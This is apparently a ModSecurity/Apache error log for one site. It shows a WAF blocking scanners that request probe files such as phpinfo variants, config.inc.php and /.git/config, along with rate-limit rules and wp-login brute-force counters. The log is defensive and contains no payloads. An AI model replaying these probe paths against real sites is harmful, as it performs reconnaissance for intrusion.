[Sat Apr 25 05:17:34.006319 2026] [:error] [pid 44321:tid 44392] [client 20.251.112.6:40169] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1100.php"] [unique_id "aevd7o1b5lV-asWa_Y4akQAAAIk"]
[Sat Apr 25 05:17:34.553720 2026] [:error] [pid 44321:tid 44390] [client 20.251.112.6:61871] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/._info.php"] [unique_id "aevd7o1b5lV-asWa_Y4akwAAAIc"]
[Sat Apr 25 05:17:35.206554 2026] [:error] [pid 44321:tid 44388] [client 20.251.112.6:34792] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/._info.php"] [unique_id "aevd741b5lV-asWa_Y4alQAAAIU"]
[Sat Apr 25 05:17:35.752873 2026] [:error] [pid 44321:tid 44393] [client 20.251.112.6:53383] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/._info.php"] [unique_id "aevd741b5lV-asWa_Y4amAAAAIo"]
[Sat Apr 25 05:17:36.340563 2026] [:error] [pid 44320:tid 44378] [client 20.251.112.6:45452] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/._info.php"] [unique_id "aevd8DmFqSpku_dij8hobAAAAFY"]
[Sat Apr 25 05:17:36.930530 2026] [:error] [pid 44321:tid 44385] [client 20.251.112.6:47069] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/php_flag.php"] [unique_id "aevd8I1b5lV-asWa_Y4aoQAAAII"]
[Sat Apr 25 05:17:37.516874 2026] [:error] [pid 44320:tid 44379] [client 20.251.112.6:54707] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/php_flag.php"] [unique_id "aevd8TmFqSpku_dij8hocQAAAFc"]
[Sat Apr 25 05:17:38.068471 2026] [:error] [pid 44321:tid 44395] [client 20.251.112.6:3468] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/php_flag.php"] [unique_id "aevd8o1b5lV-asWa_Y4arQAAAIw"]
[Sat Apr 25 05:17:38.648480 2026] [:error] [pid 46083:tid 46094] [client 20.251.112.6:40151] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/php_flag.php"] [unique_id "aevd8jxw_Zq74vWdjmkV1AAAAQc"]
[Sat Apr 25 05:17:39.268489 2026] [:error] [pid 46083:tid 46111] [client 20.251.112.6:33364] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test_info4.php"] [unique_id "aevd8zxw_Zq74vWdjmkV1wAAARc"]
[Sat Apr 25 05:17:39.811896 2026] [:error] [pid 46083:tid 46097] [client 20.251.112.6:35954] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test_info4.php"] [unique_id "aevd8zxw_Zq74vWdjmkV3AAAAQo"]
[Sat Apr 25 05:17:40.432042 2026] [:error] [pid 44319:tid 44330] [client 20.251.112.6:33365] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test_info4.php"] [unique_id "aevd9MzJPAVLUb2pWtJGxQAAAAE"]
[Sat Apr 25 05:17:41.038062 2026] [:error] [pid 44320:tid 44368] [client 20.251.112.6:45482] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test_info4.php"] [unique_id "aevd9TmFqSpku_dij8hodgAAAEw"]
[Sat Apr 25 05:17:43.220677 2026] [:error] [pid 44319:tid 44333] [client 20.251.112.6:35919] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test_phpinfo2.php"] [unique_id "aevd98zJPAVLUb2pWtJGzQAAAAQ"]
[Sat Apr 25 05:17:43.741224 2026] [:error] [pid 44321:tid 44397] [client 20.251.112.6:38313] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test_phpinfo2.php"] [unique_id "aevd941b5lV-asWa_Y4auQAAAI4"]
[Sat Apr 25 05:17:44.264174 2026] [:error] [pid 44425:tid 44450] [client 20.251.112.6:54717] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test_phpinfo2.php"] [unique_id "aevd-CUl-VlItvY2tR_wHwAAANc"]
[Sat Apr 25 05:17:44.782354 2026] [:error] [pid 44320:tid 44357] [client 20.251.112.6:54697] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test_phpinfo2.php"] [unique_id "aevd-DmFqSpku_dij8hogAAAAEE"]
[Sat Apr 25 05:17:45.306045 2026] [:error] [pid 44321:tid 44394] [client 20.251.112.6:61854] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/HsFPDcD.php"] [unique_id "aevd-Y1b5lV-asWa_Y4avgAAAIs"]
[Sat Apr 25 05:17:45.823950 2026] [:error] [pid 44425:tid 44439] [client 20.251.112.6:45473] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/HsFPDcD.php"] [unique_id "aevd-SUl-VlItvY2tR_wIgAAAMw"]
[Sat Apr 25 05:17:46.355283 2026] [:error] [pid 46083:tid 46099] [client 20.251.112.6:35136] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/HsFPDcD.php"] [unique_id "aevd-jxw_Zq74vWdjmkV4wAAAQw"]
[Sat Apr 25 05:17:46.875456 2026] [:error] [pid 46083:tid 46087] [client 20.251.112.6:61853] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/HsFPDcD.php"] [unique_id "aevd-jxw_Zq74vWdjmkV5QAAAQA"]
[Sat Apr 25 05:17:47.413593 2026] [:error] [pid 46083:tid 46088] [client 20.251.112.6:40166] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/config.inc.php"] [unique_id "aevd-zxw_Zq74vWdjmkV5wAAAQE"]
[Sat Apr 25 05:17:47.937989 2026] [:error] [pid 44320:tid 44366] [client 20.251.112.6:54666] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/config.inc.php"] [unique_id "aevd-zmFqSpku_dij8hohAAAAEo"]
[Sat Apr 25 05:17:48.484871 2026] [:error] [pid 46083:tid 46108] [client 20.251.112.6:40142] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/config.inc.php"] [unique_id "aevd_Dxw_Zq74vWdjmkV7AAAARQ"]
[Sat Apr 25 05:17:49.019519 2026] [:error] [pid 46083:tid 46098] [client 20.251.112.6:34794] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/config.inc.php"] [unique_id "aevd_Txw_Zq74vWdjmkV7wAAAQs"]
[Sat Apr 25 05:17:49.604454 2026] [:error] [pid 46083:tid 46099] [client 20.251.112.6:54660] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/phpversion.php"] [unique_id "aevd_Txw_Zq74vWdjmkV9QAAAQw"]
[Sat Apr 25 05:17:50.130676 2026] [:error] [pid 44321:tid 44397] [client 20.251.112.6:35908] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/phpversion.php"] [unique_id "aevd_o1b5lV-asWa_Y4awQAAAI4"]
[Sat Apr 25 05:17:50.688138 2026] [:error] [pid 44321:tid 44401] [client 20.251.112.6:33793] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/phpversion.php"] [unique_id "aevd_o1b5lV-asWa_Y4awwAAAJI"]
[Sat Apr 25 05:17:51.219125 2026] [:error] [pid 46083:tid 46104] [client 20.251.112.6:53430] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/phpversion.php"] [unique_id "aevd_zxw_Zq74vWdjmkV-AAAARE"]
[Sat Apr 25 05:17:51.790249 2026] [:error] [pid 44319:tid 44330] [client 20.251.112.6:54733] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asus.php"] [unique_id "aevd_8zJPAVLUb2pWtJG0AAAAAE"]
[Sat Apr 25 05:17:52.320933 2026] [:error] [pid 44321:tid 44401] [client 20.251.112.6:33799] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asus.php"] [unique_id "aeveAI1b5lV-asWa_Y4a0QAAAJI"]
[Sat Apr 25 05:17:52.845857 2026] [:error] [pid 44320:tid 44364] [client 20.251.112.6:35151] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asus.php"] [unique_id "aeveADmFqSpku_dij8hoiwAAAEg"]
[Sat Apr 25 05:47:52.463135 2026] [:error] [pid 46083:tid 46087] [client 195.178.110.18:47290] [client 195.178.110.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "aevlCDxw_Zq74vWdjmkk4wAAAQA"]
[Sat Apr 25 05:58:56.292175 2026] [:error] [pid 46083:tid 46109] [client 65.254.225.213:60770] [client 65.254.225.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.254.225.213, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aevnoDxw_Zq74vWdjmkpfwAAARU"]
[Sat Apr 25 05:58:57.988415 2026] [:error] [pid 46083:tid 46091] [client 65.254.225.213:60770] [client 65.254.225.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.254.225.213, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aevnoTxw_Zq74vWdjmkpgAAAAQQ"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 25 06:07:17.730946 2026] [:error] [pid 44321:tid 44407] [client 65.254.225.225:52092] [client 65.254.225.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.254.225.225, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aevplY1b5lV-asWa_Y4ncgAAAJg"]
[Sat Apr 25 06:07:19.474325 2026] [:error] [pid 44321:tid 44386] [client 65.254.225.225:52092] [client 65.254.225.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.254.225.225, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aevpl41b5lV-asWa_Y4ncwAAAIM"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 25 06:41:20.367858 2026] [:error] [pid 44319:tid 44339] [client 45.14.225.211:47914] [client 45.14.225.211] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.14.225.211, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aevxkMzJPAVLUb2pWtJXugAAAAo"]
[Sat Apr 25 06:52:21.036092 2026] [:error] [pid 44425:tid 44434] [client 51.79.254.190:55630] [client 51.79.254.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.79.254.190, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aev0JSUl-VlItvY2tR8VhAAAAMc"]
[Sat Apr 25 06:52:24.388300 2026] [:error] [pid 46083:tid 46100] [client 51.79.254.190:55646] [client 51.79.254.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.79.254.190, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aev0KDxw_Zq74vWdjmlDpQAAAQ0"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 25 06:57:58.741805 2026] [:error] [pid 44425:tid 44438] [client 84.247.20.188:60702] [client 84.247.20.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 84.247.20.188, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aev1diUl-VlItvY2tR8XDgAAAMs"]
[Sat Apr 25 06:58:02.172869 2026] [:error] [pid 44425:tid 44439] [client 84.247.20.188:51040] [client 84.247.20.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 84.247.20.188, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aev1eiUl-VlItvY2tR8XFgAAAMw"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 25 07:10:53.256450 2026] [:error] [pid 44320:tid 44361] [client 43.135.182.95:42198] [client 43.135.182.95] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aev4fTmFqSpku_dij8h_sAAAAEU"]
[Sat Apr 25 07:29:54.622414 2026] [:error] [pid 44321:tid 44387] [client 84.247.20.188:34036] [client 84.247.20.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 84.247.20.188, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aev88o1b5lV-asWa_Y46mQAAAIQ"]
[Sat Apr 25 07:29:56.729499 2026] [:error] [pid 44321:tid 44385] [client 84.247.20.188:34036] [client 84.247.20.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 84.247.20.188, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aev89I1b5lV-asWa_Y46nQAAAII"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 25 07:31:13.232487 2026] [:error] [pid 46083:tid 46107] [client 52.196.153.77:40844] [client 52.196.153.77] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.196.153.77, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aev9QTxw_Zq74vWdjmlUOwAAARM"]
[Sat Apr 25 07:31:15.111970 2026] [:error] [pid 46083:tid 46091] [client 52.196.153.77:40844] [client 52.196.153.77] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.196.153.77, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aev9Qzxw_Zq74vWdjmlUPAAAAQQ"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 25 07:41:36.617335 2026] [:error] [pid 46083:tid 46099] [client 4.232.190.225:52358] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pinfo.php"] [unique_id "aev_sDxw_Zq74vWdjmlYTgAAAQw"]
[Sat Apr 25 07:41:37.086718 2026] [:error] [pid 44425:tid 44445] [client 4.232.190.225:51708] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pinfo.php"] [unique_id "aev_sSUl-VlItvY2tR8lFAAAANI"]
[Sat Apr 25 07:41:37.554079 2026] [:error] [pid 44425:tid 44442] [client 4.232.190.225:35758] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pinfo.php"] [unique_id "aev_sSUl-VlItvY2tR8lGgAAAM8"]
[Sat Apr 25 07:41:38.023410 2026] [:error] [pid 44321:tid 44395] [client 4.232.190.225:35766] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pinfo.php"] [unique_id "aev_so1b5lV-asWa_Y488AAAAIw"]
[Sat Apr 25 07:41:38.490473 2026] [:error] [pid 44425:tid 44429] [client 4.232.190.225:51686] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/litespeed.php"] [unique_id "aev_siUl-VlItvY2tR8lIAAAAMI"]
[Sat Apr 25 07:41:38.957793 2026] [:error] [pid 44321:tid 44386] [client 4.232.190.225:37506] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/litespeed.php"] [unique_id "aev_so1b5lV-asWa_Y488gAAAIM"]
[Sat Apr 25 07:41:39.423985 2026] [:error] [pid 44320:tid 44380] [client 4.232.190.225:57717] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/litespeed.php"] [unique_id "aev_szmFqSpku_dij8iE2wAAAFg"]
[Sat Apr 25 07:41:39.892434 2026] [:error] [pid 46083:tid 46088] [client 4.232.190.225:51666] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/litespeed.php"] [unique_id "aev_szxw_Zq74vWdjmlYUQAAAQE"]
[Sat Apr 25 07:41:40.364547 2026] [:error] [pid 44425:tid 44440] [client 4.232.190.225:51241] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/environments.php"] [unique_id "aev_tCUl-VlItvY2tR8lKAAAAM0"]
